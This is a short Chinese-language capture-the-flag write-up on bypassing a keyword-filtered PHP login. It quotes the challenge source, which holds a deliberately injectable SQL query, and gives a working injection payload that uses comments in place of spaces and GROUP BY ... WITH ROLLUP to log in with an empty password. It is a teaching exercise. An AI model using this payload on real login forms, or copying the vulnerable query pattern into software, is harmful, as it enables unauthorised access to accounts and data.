考点:group by绕过

又是一个登录框,点击取消可以获得源码
<?php
$flag=””;
function replaceSpecialChar($strParam){
$regex = “/(select|from|where|join|sleep|and|\s|union|,)/i”;
return preg_replace($regex,””,$strParam);
}
if (!$con)
{
die(‘Could not connect: ‘ . mysqli_error());
}
if(strlen($username)!=strlen(replaceSpecialChar($username))){
die(“sql inject error”);
}
if(strlen($password)!=strlen(replaceSpecialChar($password))){
die(“sql inject error”);
}
$sql=”select * from user where username = ‘$username'”;
$result=mysqli_query($con,$sql);
if(mysqli_num_rows($result)>0){
while($row=mysqli_fetch_assoc($result)){
if($password==$row[‘password’]){
echo “登陆成功<br>”;
echo $flag;
}
}
}
?>
如果只是前面的正则我们可以用双写绕过,但是下面的 replaceSpecialChar 会一一次性替换所有指定字符文本
所以这里我们学习两个mysql语句
①group by(将结果集中的数据行根据选择列的值进行逻辑分组)
不加group by时的输出如下:

在使用group by以后会按照password中的值进行排列:

②with rollup (group by 后可以跟with rollup,表示在进行分组统计的基础上再次进行汇总统计)
来看实例:

结果中将会多出一行,其中password列为null,count(*)为统计和。
这里我们就可以通过骚姿势绕过了。
其中/**/是为了绕过空格过滤
payload:username=admin'/**/or/**/1=1/**/group/**/by/**/password/**/with/**/rollup#&password=
因为加入with rollup后 password有一行为NULL,我们只要输入空密码使得(NULL==NULL)即可满足$password==$row['password']
的限制成功登陆。
登录成功即可显示flag。